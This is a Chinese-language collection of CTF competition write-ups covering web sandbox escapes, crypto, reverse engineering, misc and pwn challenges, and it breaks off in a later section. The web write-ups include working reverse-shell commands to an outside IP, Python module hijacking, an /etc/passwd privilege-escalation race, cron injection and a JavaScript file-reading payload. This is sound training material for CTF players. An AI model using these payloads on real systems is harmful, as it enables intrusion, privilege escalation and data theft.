__import__('os').popen('whoami').read())我们需要再eval里重新获取一遍app也就是FastAPI的对象。 __import__('sys').modules['__main__'].__dict__['app'] sys.modules:sys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。modules['__main__']:__main__ 是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过 sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。__dict__:每个模块对象都有一个 __dict__ 属性,它是一个字典,包含了模块内定义的所有全局变量和函数。['app']:最后,从模块的 __dict__ 中获取名为 app 的对象。然后整合以下payload: app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())") 现在访问/shell就可以拿到flag了 方法3:修改__file__进行任意文件读取p @app.get("/") @timeout_after(1) async def index(): return open(__file__).read() 在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。 __file__在全局变量globals里有 setattr(__import__('sys').modules['__main__'],'__file__','/flag')使用setattr(object, name, value)方法修改对象的属性值。 object -- 对象。 name -- 字符串,对象属性。 value -- 属性值。 Q:为什么不用__import__('sys').modules['__main__'].__dict__,__file__明明在这里面啊? A:因为setattr函数的第一个值是一个对象,__dict__是__main__的一个属性,并不是一个对象。 整合一下payload: app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')") admin_Test题目描述:某系统有一个后台管理系统,里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击,但仍存在漏洞,请尝试读取到系统当中的flag文件。开题,是一个登录框,没有注册选项 扫一下敏感目录:/admin.html/upload.php/admin.html路由具备一个文件上传功能和一个命令输入框 上传时一直显示Invalid char,经过几次发包尝试,应该是对上传的命令字符串做了限制,大概率是单个字母的过滤。单个字母跑一下题目waf命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/* 参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客 只允许t、/、.、 同时文件部分一律无法上传。看到白名单字符大概有头绪了,CTFSHOW永远的神!在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????,也可以使用/t*/*文件上传时输入的命令会被执行,能调用到上传的文件(内容是命令)就行payload:------WebKitFormBoundarynjB2WAcSH6J6HmiqContent-Disposition: form-data; name="file"; filename="myshell.php"Content-Type: application/octet-stream 【要执行的命令】------WebKitFormBoundarynjB2WAcSH6J6HmiqContent-Disposition: form-data; name="cmd" . /t*/*------WebKitFormBoundarynjB2WAcSH6J6Hmiq--flag没权限读,需要提权 find提权即可find / -user root -perm -4000 -print 2>/dev/nullfind /tmp -exec cat /flag \; php_online题目描述:can you break this sandbox?附件给了源码:from flask import Flask, request, session, redirect, url_for, render_templateimport osimport secrets app = Flask(__name__) # 创建一个 Flask 应用实例app.secret_key = secrets.token_hex(16) # 为 Flask 应用设置一个随机生成的秘密密钥,用于会话管理working_id = [] # 定义一个空列表,用于跟踪当前正在处理的用户ID @app.route('/', methods=['GET', 'POST']) # 定义根路由,支持 GET 和 POST 请求def index(): # 定义处理该路由的函数 if request.method == 'POST': # 如果请求方法是 POST id = request.form['id'] # 获取表单中提交的 id if not id.isalnum() or len(id) != 8: # 检查 id 是否为字母数字组合且长度为8 return '无效的ID' # 如果 id 不符合条件,返回“无效的ID”消息 session['id'] = id # 将 id 存储在用户的会话中 if not os.path.exists(f'/sandbox/{id}'): # 如果沙箱目录中不存在该 id 的文件夹 os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read() # 创建该文件夹,并设置权限为 www-data 用户所有,且所有用户都有写权限 return redirect(url_for('sandbox')) # 重定向到 /sandbox 路由 return render_template('submit_id.html') # 如果请求方法是 GET,渲染 submit_id.html 模板 @app.route('/sandbox', methods=['GET', 'POST']) # 定义 /sandbox 路由,支持 GET 和 POST 请求def sandbox(): # 定义处理该路由的函数 if request.method == 'GET': # 如果请求方法是 GET if 'id' not in session: # 如果会话中没有 id return redirect(url_for('index')) # 重定向到根路由 else: return render_template('submit_code.html') # 渲染 submit_code.html 模板 if request.method == 'POST': # 如果请求方法是 POST if 'id' not in session: # 如果会话中没有 id return 'no id' # 返回 “no id” 消息 user_id = session['id'] # 从会话中获取用户的 id if user_id in working_id: # 检查用户 id 是否已经在运行任务 return 'task is still running' # 返回“任务仍在运行”消息 else: working_id.append(user_id) # 将用户 id 添加到正在运行的任务列表中 code = request.form.get('code') # 获取提交的代码 os.popen(f'cd /sandbox/{user_id} && rm *').read() # 删除用户沙箱目录中的所有文件 os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() # 将 init.py 文件复制到用户的沙箱目录中,并以 www-data 用户执行 os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read() # 删除沙箱目录中的 phpcode 文件 php_file = open(f'/sandbox/{user_id}/phpcode', 'w') # 创建一个新的 phpcode 文件 php_file.write(code) # 将提交的代码写入该文件 php_file.close() # 关闭文件 result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() # 以 nobody 用户执行该 PHP 代码,并获取结果 os.popen(f'cd /sandbox/{user_id} && rm *').read() # 执行后删除所有文件 working_id.remove(user_id) # 从运行中的任务列表中移除该用户 id return result # 返回执行结果 if __name__ == '__main__': # 如果当前模块是主程序 app.run(debug=False, host='0.0.0.0', port=80) # 启动 Flask 应用,关闭调试模式,在所有网络接口上监听,使用80端口 开题,需要先输入一个八位的有数字和字母组成的ID,这里采用Jay17aaa 之后可以执行任意php代码,无法直接读取flag,无法出网 total 68drwxr-xr-x 1 root root 4096 Aug 17 03:22 .drwxr-xr-x 1 root root 4096 Aug 17 03:22 ..drwxr-xr-x 1 root root 4096 Aug 14 09:10 applrwxrwxrwx 1 root root 7 Oct 6 2021 bin -> usr/bindrwxr-xr-x 2 root root 4096 Apr 15 2020 bootdrwxr-xr-x 5 root root 380 Aug 17 03:22 devdrwxr-xr-x 1 root root 4096 Aug 14 09:09 etc-rwx------ 1 root root 42 Aug 17 03:22 flagdrwxr-xr-x 2 root root 4096 Apr 15 2020 homelrwxrwxrwx 1 root root 7 Oct 6 2021 lib -> usr/liblrwxrwxrwx 1 root root 9 Oct 6 2021 lib32 -> usr/lib32lrwxrwxrwx 1 root root 9 Oct 6 2021 lib64 -> usr/lib64lrwxrwxrwx 1 root root 10 Oct 6 2021 libx32 -> usr/libx32drwxr-xr-x 2 root root 4096 Oct 6 2021 mediadrwxr-xr-x 2 root root 4096 Oct 6 2021 mntdrwxr-xr-x 2 root root 4096 Oct 6 2021 optdr-xr-xr-x 187 root root 0 Aug 17 03:22 procdrwx------ 2 root root 4096 Oct 6 2021 rootdrwxr-xr-x 1 root root 4096 Aug 17 03:22 rundrwxr-xr-x 1 www-data root 4096 Aug 17 03:28 sandboxlrwxrwxrwx 1 root root 8 Oct 6 2021 sbin -> usr/sbindrwxr-xr-x 2 root root 4096 Oct 6 2021 srvdr-xr-xr-x 13 root root 0 Aug 17 03:22 sysdrwxrwxrwt 1 root root 4096 Aug 17 03:39 tmpdrwxr-xr-x 1 root root 4096 Oct 6 2021 usrdrwxr-xr-x 1 root root 4096 Oct 6 2021 var import logging logger.info('Code execution start')同时目前用户的权限极低 信息搜集差不多这样子了,开始做题。我们三步走,每一步标题加粗高亮第一步,反弹shell起一个test1111用户不能直接弹<?phpsystem('bash -i >& /dev/tcp/124.71.147.99/1717 0>&1');以下两种方式都可以<?phpsystem('bash -c "bash -i >& /dev/tcp/124.71.147.99/1717 0>&1"');<?phpsystem('php -r \'$sock=fsockopen("124.71.147.99",1717);exec("sh <&3 >&3 2>&3");\'');?>由于源码sudo -u nobody php phpcode来起php服务,用php反弹shell用户只能是nobody第二步,通过python拿下www-data权限方法一:在反弹shell时候,由于/sandbox/{user_id}有权限,可以直接写python文件<?phpsystem('rm init.py;mkdir init.py;chmod 777 init.py;ls init.py/');file_put_contents("init.py/__main__.py","import os\nos.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')"); 方法二:init.py(源码在上文) 开头import logging导入了logging库,但是同目录下具有logging.py的话,会优先应用目录下logging.py文件;如果同目录下具备logging文件夹的话,会优先应用logging文件夹下的__init__.py文件。方法二-①:条件竞争在nobody的shell下执行命令echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')" > /tmp/logging.pyecho "while true; do" >> /tmp/exp.shecho "cp /tmp/logging.py /sandbox/test2222/logging.py" >> /tmp/exp.shecho "done" >> /tmp/exp.shchmod +x /tmp/exp.shsh /tmp/exp.sh源码:sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py创建一个test2222用户,随便执行一点代码,一直在运行的文件写入以便触发题目源码中的sudo -u www-data python3 init.py语句运行恶意/sandbox/test2222/logging.py后反弹shell,发现成功变为www-data权限 方法二-②:直接创建一个logging/__init__.py劫持先创建一个test3333用户在nobody的shell下执行命令(这个shell端口1717)mkdir /sandbox/test3333/logging/echo "import os" >> /sandbox/test3333/logging/__init__.pyecho "os.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1718 0>&1\"')" >> /sandbox/test3333/logging/__init__.py 在test3333用户任意执行代码,同时开启监听(端口1718) 第三步,提权root读flag有了www用户权限后,我们可以通过两种方式提权读flag。方法一:条件竞争修改文件权限,passwd提权读取flagLinux sudo 提权之软链接攻击 - sparkchans - 博客园 (cnblogs.com)注意源码有一句(注意python的权限是root)mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}本意是创建目录并且修改权限。同时mkdir和chmod两个命令不是同时执行的在mkdir和chmod两个命令之间如果执行了以下命令:ln -s /etc/passwd /sandbox/test4444rm -rf /sandbox/test4444那么chmod a+w /sandbox/test4444这条命令修改的权限就不再是/sandbox/test4444而是/etc/passwd由于mkdir和chmod两个命令执行时间间隔太短,我们需要用条件竞争来达到上述的设想,操作如下:www-data的shell执行命令(while true死循环一直执行)while true; do ln -s /etc/passwd /sandbox/test4444; rm -rf /etc/passwd; doneyakit发包,无用参数爆破实现循环发包创建test4444用户POST:id=test4444&17={{payload(pass1,top1000,pass2)}}稍等一会,就能发现/etc/passwd的权限变为可以修改了。那么接下来就是/etc/passwd提权(唯一条件是/etc/passwd文件可写)生成带有salt的密码advwtv/9yU5yQ:#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]passwordopenssl passwd -1 -salt user3 pass123#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。mkpasswd -m SHA-512 pass#利用python中的crypt库生成python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'#利用Perl和crypt来使用salt值为我们的密码生成哈希值perl -le 'print crypt("pass123", "abc")'#php语言php -r "print(crypt('aarti','123') . " ");"perl -le 'print crypt("password@123","addedsalt")'然后执行下面这条命令,成功将Jay17用户的信息加入 /etc/passwd 文件echo "Jay17:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd 以用户名:Jay17 密码: password@123 登录主机,登录成功后,是 root 权限。ssh [email protected] 有了root权限后就可以读取flag了。方法二:定时任务提权root读取flag首先介绍下定时任务可以使用 crontab -e 命令来编辑用户的定时任务列表。crontab -e这将打开用户的 crontab 文件,你可以在其中添加定时任务。定时任务的格式如下:* * * * * 【command_to_execute】每个字段的含义依次为:分钟(0-59) 小时(0-23) 日(1-31) 月(1-12) 星期几(0-7, 0和7表示星期日)例如,想每天凌晨 3:30 运行一个脚本 /path/to/script.sh,可以在 crontab 中添加以下行:30 3 * * * /path/to/script.sh也可以在 /etc/cron.d/ 目录下创建一个文件,并在其中定义定时任务。这种方式适用于系统级的定时任务,文件中的格式和 crontab 文件类似,但每行的格式为:minute hour day month day_of_week user command例如:30 3 * * * root /path/to/script.sh继续做题。可以通过命令crontab -l查看当前用户的定时任务。但是题目shell是www-data,看不到root用户的定时任务(以下为VPS测试结果) 执行命令ps -ef列出所有正在运行的进程,并以较为详细的格式显示这些进程的信息。大头哥通过CMD(系统启动命令行)来判断是否有定时任务(/usr/sbin/cron) 常见定时任务存放目录:/etc/cron.d/etc/crontab/var/spool/cron/crontabs/etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly本题是/etc/cron.d,创建用户test5555,创建软连接ln -s /etc/cron.d /sandbox/test5555前端phpcode写入内容:* * * * * root cat /flag > /tmp/flag# <?php sleep(1000);?>* * * * * root cat /flag>/tmp/111#<?php while(1){echo 1;};?>二选一都可以,两者的php代码都是避免rm *将/sandbox/test5555/phpcode文件删除太快而定时任务未正常运行。前者是sleep,php执行就得花一秒,后者是死循环执行。同时,两者由于软连接到定时任务,所以当作定时任务执行时#注释了php代码不影响定时任务;同时在作为php执行时,由于文件头<?php的作用,前面的定时任务不会被认为是php代码Cryptobackdoorplus题目主体是一个ECDSA,最后又进行了RSA的加密过程,要想解RSA需要得到p,也就是k2的值。k1 = random_k z = (k1 - w * t) * G + (-a * k1 - b) * Y #Y = X * G #t = 1 #z = k1G - wG - ak1XG -bXG zx = z.x() % n k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)a = 751818 b = 1155982 w = 908970521 x = 20391992 sig_r = 6052579169727414254054653383715281797417510994285530927615 p = generator_192.curve().p() E_a = generator_192.curve().a() b = generator_192.curve().b() E = EllipticCurve(GF(p),[E_a,b]) G = E([generator_192.x(), generator_192.y()]) k1G = E.lift_x(sig_r) z = k1G - w*G - a*x*k1G -b*x*G n = G.order() zx = int(z[0]) % n k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)这里可以使用恶意签名验证一下k2是否正确: p1 = k2 * G r = int(p1[0]) % n print(r) #3839784391338849056467977882403235863760503590134852141664 然后根据题目的生成过程恢复p,q求解RSA,但是注意到m小于n部分信息丢失尝试爆破。p = k2 for i in range(99): p = gmpy2.next_prime(p) q = gmpy2.next_prime(p) n = p * q phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) m=int(pow(c,d,n)) # print(long_to_bytes(m)) for i in trange(99999): m += n if b'flag' in long_to_bytes(m): print(long_to_bytes(m)) 完整脚本: from sage.all import* from ecdsa import * from Crypto.Util.number import * import gmpy2 import hashlib a = 751818 b = 1155982 w = 908970521 x = 20391992 sig_r = 6052579169727414254054653383715281797417510994285530927615 c = 1294716523385880392710224476578009870292343123062352402869702505110652244504101007338338248714943 e = 65537 p = generator_192.curve().p() E_a = generator_192.curve().a() E_b = generator_192.curve().b() E = EllipticCurve(GF(p),[E_a,E_b]) G = E([generator_192.x(), generator_192.y()]) k1G = E.lift_x(sig_r) z = k1G - w*G - a*x*k1G -b*x*G n = G.order() zx = int(z[0]) % n k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16) p = k2 for i in range(99): p = gmpy2.next_prime(p) q = gmpy2.next_prime(p) n = p * q phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) m=int(pow(c,d,n)) # print(long_to_bytes(m)) for i in trange(99999): m += n if b'flag' in long_to_bytes(m): print(long_to_bytes(m)) #flag{0c75afae-f8ad-4df1-b2d9-a9ca348cb226} REBabyRe输入flag{test},动调跟踪流程。 检测输入格式,允许数字、小写字母、'-'、'{}'。 逐位作为开头取3字节,计算得32位哈希(sha256),再将哈希值与取的3字节逐位异或,将每次得到32位加密数据组合成字符串: xor(hash("fla"),"fla") xor(hash("lag"),"lag") xor(hash("ag{"),"ag{") xor(hash("g{t"),"g{t") xor(hash("st}"),"st}") 最后进行check与密文比较,字符串总长1280,flag长度为1280/32=40。 解密思路: flag{}是固定的,一组密文在前2位固定的情况下只取决于第三位,提取出密文后逐位爆破即可。 import hashlib cipher = "EB74464F7924C56210CBFFC5A239BE0399ED2C8FB9542BA7C58A7E560F352CA03EE5E00A6EA938CF85F882C799D78BC682225428F4E556D047F15E5766855C04660DC72181954CF9976E5705CBAA483D2AAB5A69283D68E4F74C23CFA8C226D0F941E7F4FF9960F1DA677E9DBF9814B5B3E2D799074AC0120F212F3A52C37FE335D56DB4BD214600049F7F950C01FABD8625065607304F17AEF3C0F0177F9B3EBDE5663346606CB307F1645F006DB088F34F7D44BE9543A1393B29506D1D31814460FE7BAC48BDBB8E354128E7535CE73B1618C594D9D1B9BF7148A7D77077E9A7FFA0BE1CFA9800FE3364F9E7304557974045E0C950B8F3444432C16AB7DDEE371F6026FA2D6FC143598A9EE9E12736EABD515BAE24BB03E4C062DDC263F4A18C3E5C10A4CC88E19B04592B864AC883D8B994EEB2C46496B3416B000C9A344A4F3CF2C30DA6DD57B7D3701CDCB9418EAE8A0470C2AD2668ECF0E3AE6B6A29F6AE3C23E30F42571DFC507171D173F928718E2A5D18C43F7A5B20E125A6421EFBEFA5034BF44B5E66EF90124EE2CFFD9AACE7C49356A64ADFFBA0D44D29B125AB8E98386ED91129B0197AE9A642C173578EFD4784D1EE087CE765A714640F9AA867A4AD879229F1712037D522B5226B2DC7440EFCB753EC8A52C29CF1FB9BD85FA65FDA70B1261E143F9406D00D90AA0F55310652F3F908D7C1E5A841F77EBD3014FCA23CB223F8915D7730AFC7276F1C0FC7EA33A3083553D2684D964EC7E4A9205DEE6FCFEADA8B589CF48326AF2DEBF56DB42A4DFDF74BF9CB0A34BFD97B90B83E17E31FE0A48B54C94AC4175B46302D5E8B38D7CB42E618AEC9197D43B1B36891A18CDC5CA57F20284187FE6988D860ED46076F779B088D2FA78A798A55DCC6E657E8B101A23B9F8ADE02F696D905F63C626C3E07FD06002B2030B20FAFF02625D9B875A4B74DD421CCB5411CC309EBE7CC75BED408F9F486E6CFFF4F14AC36DFFB643C2721A3AD4CA95415D59CF3C3EE85FF75F2BC6FFD1FC09499544B7218F5937E8B73C7764DEBC840266B14F3D049AE9511AB135CC764C5C6F10C87C087BC8D3181D7470630D4A983FE401F46C99F4A52D81E8D4146211BFA28AE52C9D0E3974AFB2D830F443136F4464DDFEFA30688BE27A8A0158A85B8040C2C04598F2111751D296F862FFEBC2FB50D6530FE6C09D70F54664ED2F2C44365D647B3E6D5BB45707C8B18C8A248B153309605B34ED9CEF42172114F52AE47E8063131EFB2F1AD55868D648722111B00CFE2132463F9659AA1F8298ED2FBD1239071DC3ACF63661C77A5ACBB54410FF3F7CFA1701040BD2D2C8F721A37E310A84605845E7202DB021B2346A1BB920AE80DD0066F05A0524BC80339ED9932542883473FEFCA18C1C8B8C9B0E31B7169BAC1F1B9697B2799BDB869006C16C49B77525AB7546FE3345E5F01A5E248FB966B7592D2A0DA0BED3E27F6C789647FDE73F59258FFC6A638758661126FC03D24226DA7295EBDF50C52D96631B5804D02CDF2DC89FA6063CA2D00953200BED4BF734CEDBA0C56A185C46CB60ABCDD8C611E4203B4E0F217FA14389FB1A49C03180CC616C730FA48B1B96EB17D7B3BDFD9B6A7D646A57C976DD592A3F022A15399A1C37140E1897B231918DC2F2257DD2CC33FADEF99939CE9EB676674458ED487984E9F8D2C7DF23D8093940FEAB586D0E674B6B2416125DED9C2386A247F1D87BAD1CAB640579EAE3050FFD0A8AEDF52254AA5E9186F060C97150EC26626CC8451C47569764B281667A54428E096A20A5D81EB4D" cipher = [cipher[i:i+64]for i in range(0, len(cipher), 64)] def encrypt(data): data_bytes = data.encode() hash = hashlib.sha256() hash.update(data_bytes) enc = list(hash.digest()) for i in range(len(enc)): enc[i] = enc[i] ^ data_bytes[i % len(data_bytes)] result = bytes(enc).hex().upper() return result flag = "flag{" table = "0123456789abcdefghijklmnopqrstuvwxyz-{}" for i in range(3,40): for c in table: for e in cipher: str = flag[i] + flag[i+1] + c str_enc = encrypt(str) #print(str + ' : ' + str_enc) #print(e) if(str_enc == e): flag += c #print(c) print(flag) flag{194a39a4-7937-48fb-bfea-80bd17729f8a} 题目附件下载地址:链接: https://pan.baidu.com/s/1z0y15pyIQpk6UwjKsLe2Uw 提取码: vt9r 原文转载参考地址: https://blog.csdn.net/Jayjay___/article/details/141889724 https://mp.weixin.qq.com/s/yL1juVC8FeOq4gI5Pb-DUA?ref=www.ctfiot.comhttps://mp.weixin.qq.com/s/yL1juVC8FeOq4gI5Pb-DUA?ref=www.ctfiot.com
  14. CRYPTO签到题-学会SMhttps://www.json.cn/encrypt/sm3题目要求小写所以需要转换一下或者脚本:import hashlib message = "heidun2024" hash_object = hashlib.new('sm3')hash_object.update(message.encode('utf-8'))hash_value = hash_object.hexdigest() print(hash_value) 源码和数据都要保护利用php在线解密工具解密php 得到php源代码 <?php function my_encode($str,$key) { $re=''; $len=strlen($str); for ($i=0;$i<$len;$i++) { $c=substr($str,$i,1); $k=substr($key,($i%strlen($key)),1); $num=ord($c)+ord($k); if($num>255) $num-=256; $re.=chr($num); } return $re;}function my_decode($str,$key) { return 'Something missed.';}$data=@$_GET['data'];$key=@$_GET['key'];if($key=='') $key='hdhd4321';if($data!='') { $mi=my_encode($data,$key); file_put_contents('data_encoded.txt',$mi); echo 'Saved to data_encoded.txt';}?> 编写脚本后得到flag <?php function my_encode($str,$key) { $re=''; $len=strlen($str); for ($i=0;$i<$len;$i++) { $c=substr($str,$i,1); $k=substr($key,($i%strlen($key)),1); $num=ord($c)+ord($k); if($num>255) $num-=256; $re.=chr($num); } return $re;}function my_decode($str,$key) { return 'Something missed.';}$data=@$_GET['data'];$key=@$_GET['key'];if($key=='') $key='hdhd4321';if($data!='') { $mi=my_encode($data,$key); file_put_contents('data_encoded.txt',$mi); echo 'Saved to data_encoded.txt';}?><?php function my_encode($str,$key) { $re=''; $len=strlen($str); for ($i=0;$i<$len;$i++) { $c=substr($str,$i,1); $k=substr($key,($i%strlen($key)),1); $num=ord($c)+ord($k); if($num>255) $num-=256; $re.=chr($num); } return $re;}function my_decode($str,$key) { return 'Something missed.';}$data=@$_GET['data'];$key=@$_GET['key'];if($key=='') $key='hdhd4321';if($data!='') { $mi=my_encode($data,$key); file_put_contents('data_encoded.txt',$mi); echo 'Saved to data_encoded.txt';}?>我的进制我做主题目给了数据 ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgccndcfqfpgcgofofpdadadagr题目提示是自定义进制,因此首先先查看字符串用到的符号,有如下17个符号。 大致为a到r的字母顺序,少了一个i。因此推测实际为18进制,a到r对应0-9\a-h,其中i未使用到。 最后经测试,为每个字母单独编码一个2位18进制,解得flag。 from Crypto.Util.number import *with open("我的进制我做主.txt") as file: dat = file.readline()print(dat.encode().hex())print(dat)print(len(dat)) co = 0for i in [chr(i) for i in range(ord('a'), ord('z')+1)]: if i in dat: print(i, end='') co+=1print()print(co) chls = 'abcdefghijklmnopqr'myO = '0123456789abcdefgh'ct = dict(zip(chls,myO))print(ct)decDat = ''.join([str(ct[i]) for i in dat]) flag = ''jinzhi = 18for i in range(0, len(decDat),2): tmp = decDat[i: i+2] res = int(tmp, jinzhi) flag += chr(res) print(f'{tmp}, {res}, {chr(res)}') print(decDat)print(flag) flag2 = int(decDat, jinzhi)print(flag2)print(long_to_bytes(flag2)) s flag{heidun18jinzhi666} 源码和数据都要保护题目描述:难懂的PHP,难懂的flag。 附件中的PHP文件经过加密,需要破解。可以用一些在线破解平台,如:http://www.zhaoyuanma.com/zym.html ,也可以自己搭建PHP环境,安装php-beast扩展模块,以debug模式把PHP源码还原出来。(模块用默认密钥即可) 源代码写了加密函数,没写解密函数: 要自己写出解密函数来对txt文件解密才能得到明文flag,参考解密代码: MISC一个Logo考察的lsb隐写,直接zsteg梭哈了用Stegsolve一样可以,b0通道我变个样就不认识我题目是变样,我猜测还是lsb,用zsteg跑发现是存在冗余数据看着这个直接能想到base64换表 发现编码表不正确,可能是表不全的原因, 因为是xyz开头,所以补充上abcdefghijklmnopqrstuvw 学会Office看到是xls就知道是excel表格用wps打开看看,发现可以取消隐藏看到了flag列,提示了宏加密,因为我的wps不能够进行宏操作,我就换了windows的office在视图中可以找到宏但是看上去flag的字符顺序并不对利用筛选功能进行排序,筛选计算机成绩降序提取flag字符 我不是二维码看着像二维码,然后还是0000000111111这种类型的,直接上Byxs20 b神的工具puzzlesolver,想购买工具的可以联系 企鹅97766819得到二维码识别后得到密码,做了很久,猜测是aes解密文件名为密钥和偏移量,文件名做密钥也是老套路了 我变个样就不认识我了查看图片尾部发现字符串xyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/W9i4WoeEJAy7Un/hV8u/WT870Tq2J6xjKEl=拼接成完整base64表解码得到flagxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvw 出题人的上网流量 开始得到pcap文件,在中间段发现了SMTP协议,推测有内容,进行filter操作。 追踪SMTP流 对邮件正文进行base64解码,得到正文信息,厨子保存成html输出。 下载附件,发现为加密的docx文档,密码为出题人QQ号。 通过页面提示吴某某比对,发现为交流群主,QQ号为217778。 解密得到最终结果。 flag{baodaheidunchutiren} gogogo该题用go的github.com/tjfoc/gmsm/x509库加密flag并输出,公钥私钥均在源码中。 因此直接使用库中的解密函数进行解密。其中,ReadPrivateKeyFromPem函数需传入第二个参数pwd作为私钥密码,因为源码中给的私钥无加密,因此传入nil即可。 加上flag头,即可得到真实flag。 flag{this_is_a_plain_flag} 空白题目描述:眼前一片白茫茫,脑袋也一片空白。 空白.jpg文件末尾有附加数据,是个rar压缩文件。可以用binwalk自动提取或用 winhex手动复制成新文件。 rar文件解压得到两个txt文件,一个只有空白字符,另一个有特殊字符: 看着有全角和半角符号,猜测为半角全角字符隐写,通过https://holloway.nz/steg/ 尝试解密,获得密码提示6hlowsn2a2nha,如图: 另一个空白字符文件,利用SNOW隐写工具(下载链接https://darkside.com.au/snow/),执行命令如下:SNOW.EXE -C -p 6hlowsn2a2nha 看不见不一定没有.txt得到flag: WEB你懂Fu22吗?题目说懂Fu22吗,其实就是fuzz根据提示可以发现是需要换请求方法改为post后提示需要参数和值这里就直接使用arjun来爆破参数能够发现参数为word,然后在bp中用字典爆破value这里用的是arjun自带的一个large字典爆破出value值为exec,得到新的线索访问后发现是套娃,还是爆破,不过这次是get型的还是需要参数利用arjun再爆破一次爆破出来key的值为key,本来还想爆破value的,试了一下ls发现成功执行了看了是直接rce了,这里过滤了空格$IFS绕过一下就好了这里在上层有一个假的flag,而上上层的flag.txt才是真的flag No characters题目提示了是windows,所以肯定考察的是关于文件上传的windows特性上传后缀处能够利用::$DATA来绕过检测除了校验后缀,内容中的数字与字母一样会被拦截,所以这里利用的无字母数字webshell成功上传,执行一个phpinfo()看看上去找了半天没找到flag,用findstr来匹配一下发现flag在windows目录下,用type命令来读取PDF export 输入内容,导出PDF。 测试发现,过滤了file://协议,同时一些HTML标签也被拦截了。但可以用<svg和<script标签,还有<meta标签。所以,可以用js脚本读flag文件,使它输出到PDF文件中。 思路一:提交<meta http-equiv="refresh" content="0;url=javascript:document.write(xxx)" />实现执行脚本或跳转URL。思路二:插入<script代码段读取flag.txt(也有人用脚本跳转flag.txt即可) 参考payload 1: 参考payload 2: <meta http-equiv="refresh" content="0;url=javascript:eval(atob('dmFyIGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7aHR0cC5vcGVuKCJHRVQiLCJmaWxlOi8vLy9yb290Ly5iYXNoX2hpc3RvcnkiKTtodHRwLm9ubG9hZD1mdW5jdGlvbihlKXt2YXIgY29kZT10aGlzLnJlc3BvbnNlVGV4dDtkb2N1bWVudC53cml0ZShjb2RlKX07aHR0cC5zZW5kKCk7 '))" />(这个其实是用XMLHttpRequest()读取file:////root/.bash_history文件,非预期解法) 参考payload 3: <script>document.location="flag.txt"</script> RE你破解or我破解 40281D下断点nop跳转 确定之后会显示猜解flag 找到文本赋值地址0x402ACC下断点修改eax为999999 爆破得到520530 flag{heidun_crk_520530} pwnlicensePWN 发现sub_4012F0存在溢出点 查看堆栈写入0x18+4字节可以修改ret 发现读取flag.txt函数 修改ret为0x401340得到flag 题目附件下载地址:链接: https://pan.baidu.com/s/1bV-nYcL_ICohin0SXTFnSQ 提取码: 6u75 转载原文参考链接地址:https://blog.csdn.net/xaxt123/article/details/139899667https://blog.csdn.net/swordcloud_xm/article/details/140616151 https://blog.csdn.net/CLAY0011/article/details/140557348 https://mp.weixin.qq.com/s/CB62vYgf8rKbvcCCLiKjLAhttps://mp.weixin.qq.com/s/CB62vYgf8rKbvcCCLiKjLA https://mp.weixin.qq.com/s/Pnr585YrQqnhhhiiCJHttA
  15. 第一部分:初始谜题这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。 但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。 每个题目也都有前三血的加成,一血5%,二血3%,三血1%,在最后排名的时候会先根据分数再根据解题时间,所以血量分其实很重要,但是手速实在不太够 然后就是他每个初始谜题下发的附件不仅包含加密用的.py文件,还有一个.exe文件,开启实例并输入ip和端口,之后题目就会下发加密数据,与他进行正确交互后就能拿到flag了。 初始谜题一(300 pts)题目: from sympy import Mod, Integer from sympy.core.numbers import mod_inverse # 模数 N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123" MODULUS = Integer(int(N_HEX, 16)) MSG_PREFIX = "CryptoCup message:" # 加密函数 def encrypt_message(message, key): # 添加前缀 message_with_prefix = MSG_PREFIX + message message_bytes = message_with_prefix.encode('utf-8') message_len = len(message_bytes) num_blocks = (message_len + 15) // 16 blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_blocks)] # 进行0填充 